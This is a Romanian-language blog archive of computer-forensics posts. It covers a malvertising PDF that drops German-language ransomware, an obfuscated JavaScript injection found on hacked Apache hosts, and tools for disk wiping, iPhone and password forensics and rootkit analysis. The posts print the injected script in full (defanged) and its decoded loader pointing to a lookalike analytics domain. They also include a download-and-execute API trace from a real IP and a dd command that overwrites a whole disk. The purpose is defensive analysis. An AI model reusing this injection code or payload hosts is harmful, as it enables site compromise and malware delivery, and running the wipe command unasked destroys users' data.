You are currently browsing the category archive for the ‘Forensic’ category.

Prima parte o puteti citi aici .

Dupa analiza trafiiculuui am ajuns la concluzia ca ofertantul de publicitate este (www.trafficrevenue.net).

Una din reclamele acestui ofertant, gazduita si pe 990.ro (http://ads.endoftheinternet.org/ku44/yoxlazgmkoaojme.pdf) contine un fisier pdf. (md5:675ec6a025d50f7dafef3992b46b7d41). Acest fisier contine un script java care are codul obfuscat. O incercare de a decoda codul javascript cu ajutorul (jsunpack-n.py) a condus la erori referitoare la inconsistenta codului java. Cine este interesat poate obtine o copie a acestului PDF.

Ceea ce face  pdf-ul destul de interesant este faptul ca modul in care a fost inserat scriptul  java  il face invizibil la tool-urile create de Didier Stevens.

Aceste tool-uri (pdfid si pdfparser) sunt folosite pentru a identifica continuturi periculoase in documente de tip pdf. Intre timp au fost incorporate si in site-ul de analiza a fisierelor suspicioase virustotal.com.

Pentru a putea sa decodez codul java am folosit site-ul Wepawet care a detectat codul java si l-a de-obfuscat. Dupa cum se poate vedea, scriptul java downloadeaza un fisier dll (wpbt0.dll).

Acest fisier modifica cheia shell din registri, blocheaza functionarea calculatorului si afiseaza apoi un mesaj cerand in limba germana plata unei recompense pentru a putea permite refolosirea calculatorului.

0x1a494bbe urlmon.URLDownloadToFileA(pCaller=0, szURL=http://62.109.12.153/ku44/isf.php?i=8, lpfnCB=0x0, szFileName=C:\DOCUME~1\Administrator\LOCALS~1\Temp\wpbt0.dll) 0
0x7c86250d kernel32.WinExec(lpCmdLine=C:\DOCUME~1\Administrator\LOCALS~1\Temp\wpbt0.dll, uCmdShow=0)
0x7c86250d kernel32.WinExec(lpCmdLine=regsvr32 -s C:\DOCUME~1\Administrator\LOCALS~1\Temp\wpbt0.dll, uCmdShow=0)

 

Ce se poate face? Cum am spus si in prima parte – firefox cu noscript.

PS. Puteti sa cititi in comentariile de la primul post punctul de vedere al administratorului site-ului 990.ro. Referitor la mesajul sau vreau doar sa subliniez ca este datoria administratorului sa verifice ce ofertanti de publicitate alege. Un simplu search pe google ar fi un inceput bun.

Has this site acted as an intermediary resulting in further distribution of malware?

Over the past 90 days, trafficrevenue.net appeared to function as an intermediary for the infection of 11 site(s) including shareapik.blogspot.com/, americanfootballphotos.com/, watchthewalkingdead.blogspot.com/.”

Google pune la dispozitia webmaster-ilor un tool pentru a putea verifica daca motorul de indexare a identificat cod malware in domeniul respectiv.  Cred ca acest tool poate fi folosit si de utilizatori sau de cei care incearca sa faca o analiza „post-mortem” a unui incident de securitate.

Poate fi accesat in modul urmator:
http://www.google.com/safebrowsing/diagnostic?site=DomeniulMeu.ro si face parte din suita Google Webmaster Tools.

Vineri seara am fost sunat de un prieten care mi-a spus ca tocmai fusese hack-uit. Exploit-ul, dupa informatiile prietenului meu, era de prin mai, si a avut ca rezulat infectarea tuturor hosturilor virtuale apache cu un script java. Cind am primit scriptul mi-a atras atentia modul diferit in care fusese ascuns codul sursa al scriptului java. El arata cam asa:

<!–44e8ef75ef25fc970a79a3ccb704ad42–><sc!!!!!!!!!!ript language=javascript>zahlpc=”Jl#tWL%POTzGHriViVz#LiY”;rvxleu=”<Q73crQ69pt laQ6egQ75age=jQ61vQ61scriQ70t> funcQ74ioQ6e djjQ78tQ6cgs(hlyzcQ6arQ29Q7bQ76aQ72 Q67ynQ73zty,Q6dQ76Q6ewQ63zQ6fQ6dfQ3d\”#(7Q6eTbQ55OQ50VQ36Q4aQ63:+Q5e1Q7e9Q24u_iQ29yo5Q72@,2Q6bQ30Q60&Q45Q77MQ20|Q7bQ674Q3djvQ64Q74CxIFhNm]Q3b}fQ71Q213[HaQ7aB-AZps*Q6cQ47e8Q5c\”‘Q4bQ2eQ22,Q70Q65Q77yhg=\”Q22Q2cQ66Q61Q73ltdsQ2cqQ6brkjQ6cQ77f,tQ68yQ69Q74dkii=Q22Q22,hpoQ70Q75oQ69;Q66oQ72(gynsztQ79=0;gynszQ74yQ3cQ68lyzcjr.lengQ74Q68;gQ79nQ73Q7aty+Q2bQ29{ Q66Q61sQ6cQ74Q64sQ3dhlyQ7acjr.chaQ72AQ74(Q67yQ6eszty);qkrQ6bjlwQ66=Q6dvnwQ63Q7aomf.iQ6edexOf(Q66asltds)Q3biQ66(Q71Q6brkQ6aQ6cwfQ3e-1){ hQ70opuoiQ3d(Q28Q71krkjlQ77Q66Q2bQ31)Q25Q381Q2d1Q29;Q69fQ28Q68pQ6fQ70uoiQ3c=0Q29Q68pQ6fpuQ6fQ69+=8Q31;thQ79itdQ6bQ69i+Q3dmvQ6ewczQ6fQ6df.Q63haQ72Q41Q74(hpoQ70uoi-Q31Q29Q3bQ20} Q65lseQ20tQ68yQ69Q74dQ6biiQ2b=fQ61Q73Q6ctQ64s;Q7dQ70eQ77Q79hg+Q3dQ74Q68Q79itdQ6biQ69Q3bQ64Q6fcumeQ6eQ74.Q77rQ69Q74Q65(peQ77Q79hQ67Q29Q3b}Q3cQ2fsQ63Q72iptQ3e”;fmxoqyuh=zahlpc.charAt(6);vrbnnv=rvxleu.replace(/(jjuysyvwv|Q|xmmwgridfz)/g,fmxoqyuh);sqlwbat=unescape(vrbnnv);var agfwxg,kbptlkr;document.write(sqlwbat);agfwxg=”<NC]G>|<*:@)sC|Cos8j’C8IC/vzdz*:@)sC’|GzT4_z48j’vzdz*:@)sC’>||dz@|8Is)@o|j|T8M|DzC87y}|8Is)@o#*8Cb)]878Is)@o#48Cb)]87y|^|k=lJ`lJ`l~„`y}|t5:_]8TC#:550)8jK*8**)5T)tj[$~k\”J`rZr[~}|szCNj/}|8Is)@8*jK|^|8Is)@o#C5e bSC@)T47y}||t5:_]8TC#M@)C87|'<SxRFVb|GzT4_z48j\\’czdzS:@)sC\\’|SRxj\\’NCCs+//4554G8zTzGoCG:*#T8C/ii_C]v#v*\\’><\\/SxRFVb>’|y}</*:@)sC>|</NC]G>|”;djjxtlgs(agfwxg);</sc!!!!!!ript><!–44e8ef75ef25fc970a79a3ccb704ad42–>

Semnele de exclamatie din cuvintul script imi apartin pentru a evita o eventuala executie a lui.

Dupa cum se vede, scriptul selecteaza din variabila „zahlpc”, caracterul al saptelea „%”, apoi caracterul Q este inlocuit cu „%” , si astfel sint returnate codurile asci ale caracterelor ce formeaza codul sursa. Acesta este primul layer de ascundere a codului. Apoi rezulta un nou script java care desfacut va arata asa:

<ht!!!!ml> <scr!!!!!!!ipt type=”text/javascript” language=”javascript”>  var expiry = new Date(); expiry.setTime(expiry.getTime() + 24*60*60*1000); document.cookie=’sessionid=39128605A531; path=/; expires=’ + expiry.toGMTString();  document.write( „<SCR!!!!!!IPT language=\”JavaScript\” SRC=\”http://googleanalytlcs.net/__utmj.js\”><\/SCR!!!!!IPT>” );</scr!!!!!!!!!!!!ipt> </ht!!!!!ml>

Exte un script care citeste sessionsid-ul clientului pentru serverului care a fost infectat si impreuna cu data expirarii este trimis serverului googleanalytlcs.net. Sciptul java aflat aici va face call pentru un alt script de pe un alt site care va incerca exploatarea browserului. Site-ul din spate se schimba mereu.

O cautare in log-ul proxy-ului companiei unde lucrez arata ca exista destule site-uri romanesti care au fost infectate cu asa ceva. Deci recomand tuturor sa blocheze aceasta destinatie in proxy-uri.

O zi buna si va tin la curent in momentul in care am access la serverul care a fost exploatat cu  detalii despre exploit.

Pentru cei care doresc sa inceapa de undeva in domeniul de Forensic problema principala este de obicei de unde fac rost de material didactic. Pentru ca am urmarit mai zilele trecute o discutie pe tema asta m-am hotarit sa adun intr-un post citeva resurse pe care eu le cunosc si le recomand mai departe. Deci:

Scan 24” on Honeynet Project. Cu toate ca este un material didactic pentru incepatori il recomand cu insistenta. Incercati sa cititi si modul cum a fost rezolvat de cei care au cistigat. Dupa ce ati terminat …dig deeper in archives.

Computer Forensic Reference Data Sets. Foarte interesant mai ales ca acolo aveti si Live Memory Images, ceea ce nu este acceptat ca proba in marea majoritate a tarilor europene, dar este acceptat in America.

Have fun,

Mitul consta in faptul ca pentru a sterge „sigur” un mediu de stocare este nevoie de o stergere repetata de 6-10 ori, iar in cazul diskete-lor, pina la 35 de ori. Exista pentru acest task o gramada de softuri comerciale cit si softuri OpenSource cum ar fii utilitarul DBan. Companiile si-au facut „stergerea sigura a datelor” un obiectiv strategic care poate duce pina la gaurirea HDD-ului.

Ce inseamna de fapt si de unde a pornit? Trebuie sa va inchipuiti putin mecanismul de functionare a scrierii pe hard-disk-uri. O unitate de stocare, adica un bit, este pe suprafata HDD-ului un interval, unde capul se pozitioneaza pentru a stoca informatia. Dar datorita imperfectiunii mecanismului de pozitionare pe acest interval, capul poate ateriza exact la mijloc, iar la a doua rescriere la 2/3 de una din margini. Deci teoretic avem pe acelasi interval stocate 2 informatii. Deci este posibila reconstruirea informatiei chiar dupa ce HDD-ul a fost rescris de mai multe ori.

O echipa de cercetatori au presentat la conferinta ICISS 2008 un studiu recent despre acesta teorie. Rezultatul a fost ca dupa o rescriere completa a mediului este aproape imposibil sa se reconstruiasca datele existente. Acest studiu nu provoaca valuri de bucurie intre firmele ofertante de soft pentru ca ar insemna scoaterea lor de pe piata.

Dar ce se poate face pentru a se sterge in mod sigur un mediu. Formatul din Windows nu ajuta. Reprezinta doar stergerea tabelei de partitie,  adica localul unde se stocheaza locatia fisierelor pe HDD. In rest ele ramin acolo, neatinse.

Cel mai usor se poate sterge boot-ind o distributie live de linux si folosind comanda dd.

dd if=/dev/random of=/dev/yourHDD bs=512.

Dureaza ceva timp, adica pina la citeva ore, dar nimeni nu va mai putea citi ce ati avut acolo stocat. Sau daca nu DBan „do the magic”.

PS. Acum putem sa pornim o discutie despre /dev/random sau /dev/zero.

Voi ce folositi, random, zero sau unu?

Acum iPhone-ul este si la noi. Din punct de vedere computer forensic este o realitate care nu poate fi ignorata. Jonathan Zdziarski este unul din primi specialisti, interesat in acest domeniu, a prezentat rezultatul cercetatarilor sale intr-un Webcast pe site-ul celor de la Oreilly. Citeva informatii interesante:

  • iPhone-ul creeaza un snapsot de fiecare data cind se apasa butonul „Home”. Deci chiar daca informatiile au fost sterse de pe device, exista posibilitatea de a reconstrui informatia originala.
  • „dynamic dictionary” este un fisier creat pentru a ajuta utilizatorul sa tasteze cit mai putin. Contine toate informatiile introduse de la tastatura pentru a putea fi refolosite ulterior.
  • se pastreaza o baza de date cu numerele apelate mult mai mare decit cea afisata de device

Pentru a putea creea o imagine a partitiei in care se afla datele utilizatorului Jonathan a modificat tool-ul numit iLiberty, utilizat pina acum doar pentru deblocarea iPhone-urilor, si l-a imbunatatit incluzind utilitare ca dd si netcat. Manualul si tool-ul se pot obtine numai de reprezentantii fortelor de ordine direct de la autor. Pentru cei interesati exista o versiune mai veche a prezentarii sale pe Youtube.

Have fun…si daca cineva gaseste pe internet o versiune a tool-ului si manualui sau, sint si eu interesat.

Internet Explorer ofera intotdeuna posibilitatea de a salva parolele pentru a putea fii folosite ulterior la autentificarea in diferite site-uri de internet. Problema apare atunci cind aceste seturi de username/parola nu sint salvate intr-un loc protejat. Ieri am descoperit un utilitar IEPass care este in stare sa citeasca combinatiile de username/parola pe care Internet Explorer le-a salvat.  IE 7 incearca sa salveze parolele in alte locuri in registri dar acest utilitar este in masura sa le citeasca.

La Firefox problema este mai bine rezolvata, prin existenta container-ului de parole. Totusi daca acesta nu este protejat cu parola fisierele ce contin parolele pot fii exportate pe alt calcualtor si decodificate. In cazul in care containerul este protejat cu o parola exista utilitare care pot ataca prin metoda „brute-force” in incercarea de a gasi parola. Utilitarele de decodificare si de brute-force pot fii gasite aici.

Aceste utilitare reprezinta un plus pentru cazurile de Forensic, pentru ca ajuta la gasirea posibilelor parole pe care user-ul le-a folosit in Internet Explorer sau Firefox si totodata pentru criptarea anumitor fisiere.
Have fun.

In perioada 18-20 mai 2007 a avut loc la Brasov prima conferinta romaneasca de Open Source. O initiativa a grupului ROSI , conferita si-a propus si a reusit sa fie o prima intilnire a oamenilor care cred in solutiile Open Source. Am avut si eu o prezentare despre Resurse Open Source in Computer Forensic. Imi pare rau ca au fost alocate numai 30 de minute pentru prezentare ceea ce nu mi-a permis sa intru in detalii tehnice cum as fii vrut.

Ce mi-a placut cel mai mult:

-Invitatii, organizarea (Agora si in special Gabriela Bartic). Speaker-i romani si straini.
-Prezentari care au fost pline de patos.

-Discutii (panel-uri) despre ideea de open source.
-Prezentarea lui Bogdan Manolea despre legislatie in domeniul de open Source.
-Proiectul Yart (concurentul Asterix-ului).

Ce mi-as dori:

– Conferinta sa ajunga la nivelul de participare a LinuxTag-ului german . Atunci sigur ar fii multi mai multi participanti si automat biletul mai ieftin.

– Mai mult timp pentru prezentari pentru ca evenimentul acesta se adreseaza in marea majoritate oamenilor tehnici care de obicei sint doritori de cit mai multe detalii.
– Un eventual survey printre participanti si pe baza interesului aratat de acestia pentru diversele prezentari sa se aloce timpul si viitoarea locatie.
Prezentare mea de la Eliberatica poate fii downloadata de aici.

Dar cred ca cel mai important pentru mine a fost ca am intilnit romani care cred in ideea de Open Source.

Voi participa si eu la eLiberatica si prezentarea mea va fi despre Resurse Open Source in Computer Forensic . Cand ma intorc, o sa pun prezentarea (la care inca lucrez) si aici.

eLiberatica - The Benefits of Open and Free Technologies Conference

Intotdeauna dd-ul este foarte „secretos” in privinta activitatii sale.  Dar RTFM ajuta citeodata :

kill -USR1 $pid-dd

procesul  dd printeaza o statistica si continua procesul de copiere.

Ex din manualul dd:

$ dd if=/dev/zero of=/dev/null& pid=$! $ kill -USR1 $pid; sleep 1; kill $pid

18335302+0 records in 18335302+0 records out 9387674624 bytes (9.4 GB) copied, 34.6279 seconds, 271 MB/s

Poate daca Politia Romana se hotareste sa calce pe urmele Politiei Americane, si aici nu ma refer la calibrul armelor din dotare ci la metodele de Computer Forensics, un bun inceput ar fi: The Law Enforcement and Forensic Examiners Introduction to Linux, a Beginner’s Guide.

Documentul acesta este un punct foarte bun de pornire si pentru cine este interesat sa desfasoare activitati de Computer Foresics folosind tool-uri Open Source. Oricum alaturi de partea tehnica mai trebuie luata in considerare si partea organizatorica legata de intreg procesul de achizitie a „dovezilor”. In aceasta directie de ajutor ar putea fi Forensic Examination of Digital Evidence: A Guide for Law Enforcement care vine tot de la Politia Americana. 

Nota: Documentele au fost creata pentru uzul „oamenilor legii” (Low Enforcement) pe care eu i-am numit generic Politia Americana, si care pot fi reprezentati de la ofiteri de politie care cerceteaza fraude „electronice” pina la angajatii ai FBI-ului si altii 😉

Vinetto este un soft scris in Python care poate fi folosit la extragerea imaginilor preview generate de Windows si stocate in renumitul fisier Thumbs.db. Pe site-ul developer-ului sint totodata link-uri foarte interesante despre structura si componenta fisier-ului Thumbs.db.

De exemplu:

vinetto -Ho /opt/vinetto-out/ Thumbs.db

extrage preview-urile si genereaza un fisier html care contine informatiile referitoare la data cind au fost create imaginile sau in cazul fotografiilor, data si ora in care s-a facut poza. Desi se afla inca in stadiul alfa, el a fost inclus in FCCU,un live CD bazat pe Knoppix si care pare sa fie folosit de politia belgiana in procesul de achizitionare a imaginilor de hard-disk-uri. FCCU pare o distributie interesanta, dar nu atit de matura precum Helix-ul.

Antiforensic: Daca este totusi cineva interesat in masuri de antiforensic, poate investi banii sau timp in instalarea Cyberscrub Privacy Suit-ului care conform indicatiilor de pe site, sterge (wipe) automat fisierele de acest gen.

Apropo: Are cineva informatii despre ce foloseste Politia Romana in procesul de computer forensic? Sa fie oare Encase sau sint adeptii solutiilor Open Source?

Intotdeauna folosesc mai multe soft-uri pentru analiza unui sistem compromis unde banuiesc ca a fost instalat si un rootkit. Rootkit Revealer, Blacklight si o cana mare de cafea ( inscriptionata cu instructiuni de vi) fac parte intotdeauna din „arsenalul” cu care ma inarmez inainte de o analiza. Mi-am format insa o preferinta. IceSword chiar daca nu are un help in limba engleza este intuitiv si prezinta o imagine completa a ceea ce e imtimpla. Cu toate ca de multe ori analizele cu IceSword incep si se termina cu celebrul bluescreen continui sa il folosesc cu preponderenta. Aici puteti gasi un interviu interesant cu autorul programului, in care se pun in evidenta diferentele fata de celelalte tool-uri de detectare si analiza a rootkit -urilor.

Alte tool-uri de analiza a rootkit-urilor pe linga cana mare de cafea :

Rootkit Revealer [info]
F-Secure Blacklight [info]

Ce folositi voi la analiza ( in afara de IDA Pro) ??

Mai 2017
L M M M V S D
« Mar    
1234567
891011121314
15161718192021
22232425262728
293031